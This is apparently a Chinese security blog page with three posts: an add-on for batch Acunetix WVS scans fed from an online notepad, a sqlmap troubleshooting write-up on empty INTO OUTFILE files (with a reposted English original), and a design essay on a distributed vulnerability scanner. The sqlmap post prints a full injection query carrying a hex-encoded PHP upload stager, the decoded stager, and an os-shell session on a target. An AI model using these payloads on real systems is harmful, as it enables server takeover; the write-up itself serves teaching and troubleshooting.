WVS_Patcher BatchScan tool

发布时间:September 23, 2015 // 分类:开发笔记,转帖文章,python,生活琐事 // 3 Comments

基本功能

  • 批量提交扫描任务
  • 允许并行扫描
  • 解析扫描结果,并将结果发送到邮箱

技术分析

上面的基本功能点,对应的关键技术点是:

  • bottle.py 简单的web
  • Queue(multiprocessing.Queue)
  • subprocessing调用wvs_console.exe

1.为什么使用bottle.py?

调用wvs_console.exe的脚本,自然而然的选择了Python。为了方便用户交互,需要有简单的Web页面。Web和Python也要交互,那就选择了Python Web。简单的Web页面,选择了轻量级的bottle.py,基本上不存在学习曲线。

所以程序的简图是这样的:

/static/img/20150922——wvs_patcher_assistant_for_wvs_scaner

2.为什么使用multiprocessing提供的Queue,而不是直接调用Queue?

结论就是: 队列对象不能在父进程与子进程间通信。为了解决多进程之间的Queue通信问题,multiprocessing封装了Queue。使用方法与Queue基本相同。

3.如何做到扫描不阻塞进程,扫描完成后马上得到通知?

扫描完成后马上得到通知,意味着必须要有一个进程阻塞,等待程序的结束。对于用户来说,主进程不阻塞,也就是提供web服务的进程不阻塞,就可以了。所以在主进程开subprocessing,调用wvs.py,然后去做别的事情了。wvs.py又调用subprocessing来跑wvs_console.exe,这次是阻塞的,等到程序跑完之后,再调用主进程的接口,说“我~到~家~了~”。

4.队列在程序中起到了怎样的作用?

在程序中用到了两个队列,waiting_queue & scaning_queue。其中scaning_queue的大小,就是允许并行扫描的数量。waiting_queue是无限大的,web提交的任务直接添加到waiting_queue中,然后等待scaning_queue有空位的时候,就进入scaning_queue,扫描完成后,释放scaning_queue…

Github 项目主页: WVS_Patcher

功能增强版说明:
1.使用场景
1.家里有一台闲置电脑,想利用来挖漏洞
2.家中的网线没有独立ip,不能随时分配任务

2.变动说明:
增加了seed.py和sower.py两个文件:
sower.py用来获取第三方网站上的数据并将任务派发给wvs_patcher
seed.py用来编码要扫描的网站,方便更新第三方网站上的数据
原理:
sower.py每隔20秒请求第三方网站的页面数据,发现有更新自动添加到wvs_patcher。
seed.py===================>第三方网站<==================>sower.py

 

3.使用说明
1.按照说明正常运行wvs_patcher
2.修改sower.py中server,header参数,设置好第三方网站的信息(推荐使用xnote等网络记事本)。新开一个窗口,运行sower.py,然后就可以出去上班了(文件中默认的server是xnote的一条记事本记录,可自行替换)
3.上班休息时间突然想扫一下某个网站,使用seed.py生成数据,复制并且更新xnote记事本就可以添加到wvs的扫描任务中了。
4.运行中出现任何错误会邮件通知到wvs_patcher配置的callback邮箱中

wvs_patcher

Sqlmap写文件为空之谜

发布时间:August 18, 2015 // 分类:PHP,linux,转帖文章,python,windows // No Comments

恰逢有一个SQL注入可以通过sqlmap进行,而且权限高得离谱,直接就是root权限。既然是root权限当然是想直接getshell咯。可是只是sqlmap -u xxx --os-shell的时候却失败了

$ sqlmap -u 'http://php.0day5.com/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/0day5/.sqlmap/php.0day5.com'

[*] shutting down at 07:26:14

这里的注入是一个报错的注入,写入失败以为是当前的目录没有可写权限。多次尝试其他的目录都一一失败了。尝试了许久通过其他的办法搞到shell。反过来查看这里为嘛不能写入,查看下/var/www目录的权限

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

看到tmp开头的文件我们就知道是sqlmap创建的文件。文件创建成功了但是文件内容却没有写入。为嘛这里不能写入的呢?思索了许久,直接拿在服务器上直接写入需要执行的sql语句,以当前的权限去执行。

SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'

首先,sqlmap运行的基本要求,提供我的注射参数的输入josh,再接下来,sqlmap运行查询,执行 “LIMIT 0,1 INTO OUTFILE …”语句。输出文件的文件名是随机选择,写入的内容是一个经过转码后的十六进制字符串,解码如下:


<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www> <input type=submit name=upload value=upload></form>";}?>

直接在mysql里面去执行

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

当前结果就跟sqlmap一个样子,得到一个空文件,然而下面的这个语句更有用。

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

以下是原文

Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap’s “–os-shell” feature.

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/jwright/.sqlmap/targetserver.mytarget.city.nw'

[*] shutting down at 07:26:14

The server here is vulnerable to SQLi through an error-based injection, but the os-shell fails to upload the file stager. I assumed the /var/www directory was not writable by the MySQL user, tried some other directories that all failed in the same way, and moved on to other techniques. However, later I saw this in the /var/www directory:

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

The files starting with “tmpu” are the stager files created through sqlmap’s os-shell feature. That they are empty explains why sqlmap returned the “unable to upload file stager” error, but since we know the “mysql” account can write here the question remains: why did sqlmap’s os-shell feature fail?

Google’ing for similar situations brought me to Bas’ post describing a similar situation. He manually created the PHP shell with “–sql-shell”, but I wanted to find out why sqlmap failed.

I added a line to the vulnerable login.php script to save queries to a file. Here is what sqlmap does when os-shell is used:

SELECT * FROM user_credentials WHERE `username` = 'josh'
SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'
  • First, sqlmap runs the basic request, supplying my input ‘josh’ for the injectable parameter.
  • Next, sqlmap runs the query again, appending the “LIMIT 0,1 INTO OUTFILE …” declaration. The outfile filename is randomly selected, and sqlmap supplies a custom line terminator for the content to write to the outfile. This is a large hex string, which decodes to the following:
if (isset($_REQUEST["upload"])){$dir=
$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_F
ILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["
tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["na
me"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file
) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else 
{echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=mu
ltipart/form-data><input type=hidden name=MAX_FILE_SIZE value=10000
00000><b>sqlmap file uploader</b><br><input name=file type=file><br
>to directory: <input type=text name=uploadDir value=/var/www> <inp
ut type=submit name=upload value=upload></form>";}?>

Terrific, this is the sqlmap stager. Still, why does it create the file, but not populate the output file? I ran the query manually from a mysql shell to examine the output:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

OK, that SQL creates the empty file, just like sqlmap does. However, this abbreviated query turned out to be more useful:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

DOH! I made the cardinal sin of SQL injection exploitation: I didn’t start with valid data.

In my SANS classes, I tell students: Always Start with Valid Data (when performing SQL injection). If you identify a username parameter josh' that returns a database error, that’s great, but don’t supply that to sqlmap. Start with the valid data of josh, and let sqlmap figure out the rest (assisting sqlmap where necessary).

The problem here, and the reason for sqlmap’s empty files, is that the injected SELECT statement doesn’t return any records, so the delimiter PHP code is never written to a file. What does work is this:

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=pconnor&pass=pass' --os-shell

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[07:49:38] [WARNING] unable to retrieve automatically any web server path
[07:49:38] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:49:38] [INFO] the file stager has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpuiqxs.php
[07:49:38] [INFO] the backdoor has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpbubmd.php
[07:49:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> uname -a
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:    'Linux targetserver.mytarget.city.nw 3.2.0-33-generic #52-Ubuntu SMP Thu Oct 18 16:29:15 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux'
os-shell>

Replacing my put-any-username-here “josh” reference with a valid username causes the SQL statement to return at least one record, which prompts the database to write the handler code to the file and returns an os-shell.

A valuable lesson for me, and hopefully others find it useful as well.

FROM:http://www.willhackforsushi.com/?cat=12

分布式漏洞扫描系统设计与实现

发布时间:August 13, 2015 // 分类:运维工作,工作日志,代码学习,linux,windows,python,转帖文章 // No Comments

0x00·概述

1.1 前言
  由于信息在当今社会显得越来越重要,其安全性就越发突出,尤其是在近几年,信息安全越来越受到企业的重视。 如今,几乎所有的互联网都有开发自己的漏洞扫描平台,用于发现内部的安全隐患。此外,很多专业的安全工程师就有自己开发的漏洞挖掘系统,随着各种漏洞盒子的出现,这种系统也越来越多,越来越强大。

1.2 何去何从
   对于一个不是专门做安全的小公司来说,如果大费周章滴自己从头到尾开发一套扫描系统,那绝对是脑袋被驴踢了。但是这绝不意味着我们不去做漏洞扫描系统,相反,我们一定要去做,而且努力在资源有限的情况下做的更好。
   大家都知道,现在网上有很多开源的工具,比如sqlmap, hydra, medusa,openvas等等, 当然也有很多优秀的商业产品,比如WVS等。试想,倘若公司有成千上万个IP和域名,那么让几个安全工程师每天去使用这些不同工具,对公司的内网网进行安全扫描,那这个工作量是很大的,而且这些工作很多都是重复性的工作,所以很自然地想到:做一个自动化的漏洞扫描平台,然后自动调些工具进行扫描,最后将结果进行汇总以便分析。

1.3 可以走的更远一些  
    现在各种应用服务是个非常流行的概念,它可以降低很多使用成本和沟通成本,所以我们可以把漏洞扫描做成了一个平台,相当于做了一个漏洞扫描服务平台,任何对安全不是很了解的同事,不管是开发,还是运维,都可以使用该平台进行安全扫描,及时发现漏洞。如果安全人员只是在产品上线后才进行检测,那么出现踢皮球的事情,产品那边说急着上线,安全这边说不行,最后邮件打架到领导那去了。

    所以,如果条件允许的话,我们可以在产品QA里面加入安全QA流程,任何上线的产品,只需发送消息到此漏洞扫描平台的,就会自动化安全扫描,如果发现漏洞的话,我们可以协助研发人员把漏洞修复,保证产品上线的安全性。


1.4 多余的话 
    集成各种漏洞扫描挖掘工具,确实可以给我们带来很多开发上的便利,但每个公司难免都有一些不同的特点,导致会有一些特殊的需求,比如服务器没有按照标准进行安全加固,WEB服务器没有禁用与运维无关的端口等等,所以我们有必要在实现这些扫描系统的时候,必须做成一个插件式的系统框架,一方面是是可以保持系统稳定,兼容性好,另外一方面可以我们可以根据自己的需求写各种插件。

0x01·系统框架

2.1 概述
    分布式漏洞扫描系统采用分布式的结构方式,可以充分利用云平台的技术优势,对系统中的各个模块要尽量解耦,降低他们之间的依赖程度,使得整个系统具有较高的稳定性和扩展性。
   在设计系统之初,我们就想充分利用各种开源和商业扫描工具,做一个集中式的漏洞扫描平台,避免重复造轮子,加快整个系统的开发速度,同时也有利于方便更新系统的各个插件。
2.2 运行环境
    由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。所以,我们有必要一开始就选择好运行环境,这样可以降低我们的开发的成本,以下表2-1是我们选定的运行环境。


                        表2-1 各节点运行环境
2.3 系统框架
  分布式漏洞扫描系统分为交互展示(web)模块,监控(manager)模块和扫描(scanner)模块三大类。其中,交互展示模块是使用Django实现的一个Web系统,用户可以通过该模块进行任务的下发,待任务结束后,可以查看任务的扫描结果。监控模块主要负责监控整个系统的运行状况,并且将系统的任务状态消息通过邮件的形式推送给你用户等等。扫描模块就是分布式系统的末端,根据运行环境的不同可分为Linux扫描节点和Windows扫描节点两大类,它是直接对目标服务器发起扫描测试的节点,待扫描结束后,就把扫描结果返回给中央数据库,整个系统的框架结构如下图2-1所示。

   从图2-1中,我们可以看到,用户通过Web模块下发扫描任务,当然用户也可以自己创建任务计划,然后监控模块(manager server)会自动根据计划来创建扫描任务。任务创建之后,会根据任务的不同分发到消息队列:如果任务所调用的脚本是运行在Linux环境中,那么该消息就会被发送到Linux消息队列中,如该任务底层所调用的工具是运行在Windows中,那么该消息就会被发送Windows消息队列。Linux/Windows扫描节点会相应地从各自Linux/Windows消息队列中获取扫描任务,然后启动相关的扫描脚本,对目标发起扫描,扫描结束之后,通过WEB模块提供的REST接口同步扫描结果到数据库中。
2.4 部署工具
   为了便于批量部署分布式扫描的各个节点,我们采用fabric进行部署,具体相关的使用方法可以参考如下官网:
 http://www.fabfile.org/
2.5 小结
    各种分布式漏洞扫描系统的实现方式大同小异,大部分都使用了集中式的管理方式,通过消息队列进行任务下发,结束时通过REST接口接收扫描结果,尽量解耦各个模块。

0x02·消息通信

3.1 概述
   分布式的漏洞扫描系统主要分成交互(Web)模块,监控(Manager)模块和扫描(Scanner)模块三大类,当然也有其他的一些实用辅助工具,类如批量部署脚本,数据恢复等等。这三大模块相互联系,相互联系,协调完成扫描任务。
   交互模块主要是用户的操作界面,主要用于发起对目标的扫描任务,制定扫描计划,查看扫描结果等等。监控模块则是负责监视整个系统的运行状态。扫描模块则是具体负责发起扫描进程的。这个三个模块是相互独立,但又通过不同消息通信方式进行协调运作。本章节主要介绍一下各个模块之间的通信方式。
3.2 任务消息的定义
    用户发起的任何一个扫描任务,都需要转换成相应的预定义格式的消息。为方便各个模块之间的消息解析处理,我们将消息定义的格式如下:


3.3 任务消息的传递
   在分布式的系统中,消息队列是最佳的消息传递方式,因而我们采用了Active MQ作为整个系统的消息传递媒介。扫描节点可以分成Windows扫描节点和Linux扫描节点两种,不同的节点所能处理的扫描任务类型是不同的,而我们希望分布式的漏洞扫描系统能够同时支持这两种,以便实现强大的集中式挖掘平台。
   为了更好地区分两种不同类型的扫描任务,我们将在Active MQ中创建2个任务消息队列。用户通过Web界面发起扫描任务时,会创建一个(或多个)任务消息对象,然后根据所选用扫描插件所运行的环境不同,分别将其序列化(json)之后发送到相应的任务消息队列中。而Windows和Linux扫描节点则分别从Windows消息队列和Linux消息队列中取扫描任务,然后进行处理,其结果如下图3-1所示。


                            图3-1 任务消息传递示意图
    从上图可以看出,任务在进入任务队列之前就已经根据扫描任务的不同区分是发送到Windows队列还是发送到Linux队列,避免了后续流程中存在任务的交叉性,在扫描结束后通过Web上的REST接口将扫描结果同步到中央管理平台。
3.4 扫描任务的取消
    扫描节点会通过Web提供的API接口周期性轮询扫描任务状态变化。如果用户取消任务时,扫描节点发现状态已经被设置为取消状态,那么扫描节点会终止该任务所对应的扫描进程。
3.5 监控模块信息通信
    监控模块主要是与Web模块进行交互的,它通过Web提供的额外的几个REST接口,用于查询当前的任务状态信息,同时还负责部分信息收集相关的扫描任务等等,全部都是REST接口来完成所有的相关功能,具体的实现方式参考监控模块章节。

 

0x03·扫描节点

4.1 概述

   扫描节点(scanner)是整个分布式扫描系统的终端节点,负责具体漏洞扫描。由于我们的漏洞扫描系统需要集中许多不同的扫描工具,在这些工具当中,有的是只能运行在Windows上,比如WVS,而有的则是只能运行在Linux上,比如openvas,而有的则是可以同时在两种系统上运行,比如nmap。所以,为了能够更好的地集中这些工具,就必须解决系统的异构问题,达到同时支持Linux扫描节点和Windows扫描节点,才能更大地发挥集中扫描平台的优势。
4.2 扫描框架
4.2.1 系统异构
   出于系统设计的需求,扫描节点必须需要同时运行在Linux和Windows节点,所以我们在设计扫描节点的框架时,必须要考虑到系统的异构问题。此外,为了减少代码的开发时间和运维工作量,我们不希望在Linux开发一套扫描系统,而在Windows上开发另外一套系统,这样无疑会增加我们的开发和运维成本,而且对以后的升级都是比较棘手的。所以,我们采用脚本语言python开发整个扫描系统,所有的扫描工具都是采用插件的形式封装,然后根据扫描任务动态加载。举个例子,扫描系统启动的时候,它是不会加载任何插件的,保证系统能够同时运行在Linux和Windows节点上,当用户发起的一个WEB扫描任务时,那么该任务会被发送到Windows消息队列,Windows扫描节点会从该消息队列中提取任务,然后动态加载WVS插件,然后调用WVS进行漏洞扫描。同理,假如用户发起的主机扫描任务,那么该任务就会发送到Linux消息队列,Linux扫描节点会从该消息队列中提取任务,然后动态加载openvas插件,然后调用openvas进行漏洞扫描。如此一来,同一个扫描系统可以同时兼容Windows和Linux系统,就很好地解决系统的异构问题。
4.2.2 框架结构
  在【消息通信】章节中,整个分布式系统主要是通过消息队列(ActiveMQ)来进行扫描任务的分发。同时,为解决系统异构问题,我们使用了Windows和Linux两个消息队列,用于不同类型的任务分发,扫描节点的框架如下图4-1所示。


                          图4-1 扫描节点的框架结构
  从上图中,我们可以看到扫描节点存在好几个不同类型的线程,分别负责不同的功能,其功能如下表3-1所示。
表3-1 扫描节点内部主要的线程和进程功能表


  对照图3-1和表3-1,我们可以看出,扫描节点的内部有任务队列【Task Queue】和结果队列【Result Queue】两个队列,而接收任务线程【Receive MQ Thread】首先从ActiveMQ中获取扫描任务,然后将其推入到内部的任务队列【Task Queue】中,主线程【Main Porcess Thread】会从内部队列【Task Queue】中提取扫描任务消息,然后根据任务消息启动一个扫描线程【Scan Thread】, 而扫描线程【Scan Thread】启动之后会创建一个插件进程【Plugin Process】,该进程会调用nmap, WVS,openvas等相关工具,待执行结束后会将扫描的结果推入到结果队列【Result Queue】。结果同步线程【Sync Result Thread】从结果队列【Result Queue】中获取扫描结果,然后通过WEB的REST接口同步到中央数据库。而查询任务状态线程【Query Task status Thread】则是周期性地通过WEB的REST接口查询当前扫描任务的状态,如果发现有任务被取消的话,那么它就会发送一个取消【Cancel】的消息到任务队列【Task Queue】中,然后主线程【Main Porcess Thread】取出这个消息后,就会终止相应的扫描线程【Scan Thread】和插件进程【Plugin Thread】。


   扫描节点内的多个线程,不同的线程负责不同的功能,虽然看起来比较复杂,但是这样可以尽量解耦各个模块之间,以增强可扩展性和稳定性,也可以大大降低后期的维护和升级的成本。


4.2.3扫描线程和插件进程的启动
  扫描节点中主线程会根据扫描任务通过内部线程管理器【Thread Manager】启动一个扫描线程,其框架如下图4-2所示。


                               图 4-2 扫描线程与插件进程
  从上图4-2可以看出,线程管理器启动了扫描线程之后,扫描线程会根据任务任务从插件工厂【Plugin Factory】获取任务相对应的插件进程实例,并启动插件进程。比如扫描线程1的任务类型是主机安全扫描,那么它会通过插件工厂获得一个openvas的插件实例(plugin A),然后启动该插件进程,扫描线程2的任务类型是Web漏洞扫描,那么它会通过插件工厂获得WVS的插件实例(Plugin B),然后启动该插件进程。
4.2.4扫描线程和插件进程的通信
  当扫描任务被取消的时候,主进程会找到相对应的扫描线程【Scan Thread】,然后通过扫描线程来终止相对应的插件进程【Plugin Thread】,其通信的框架如图4-3所示。 

                          图 4-3 扫描线程和插件进程的通信结构图
  扫描线程【Scan Thread】在启动插件进程时,会创建一个队列Queue用于和插件进程【Plugin Process】通信。在插件进程内部有任务扫描【Task Scanning】和通信【communication】两个线程,其中任务扫描线程是调用具体的扫描工具或者脚本的,比如openvas,nmap,WVS等等,在调用结束后会将扫描的结果推入到扫描节点内部的结果队列【Result Queue】中,而通信线程则是通过队列【Queue】与扫描线程通信。
   当任务被取消时,主线程会通过相对应的扫描线程发送一个终止的命令到队列queue中,插件进程中的通信线程收到这个消息时就会调用终止函数(stop_script)来结束当前的线程。各个插件的终止函数略有不同,这样可以让各个插件进程在终止前做一些必要的工作,比如同步已有结果,清理扫尾等,增加插件的灵活性。但是,如果超过一定的时间相关进程和线程还没有被终止的话,那么就会被主进程强制杀掉,避免进程僵死的情况发生。
4.4 小结
   为了解决系统的异构问题,我们采用了两个任务消息队列来下发扫描任务,扫描节点中的各个扫描功能模块全部采用插件的形式,在需要的时候动态加载,保证了系统的稳定性和可扩展性。

作者:胡杨<jekkay@easysb.cn><479904359@qq.com>

from:easysb.cn

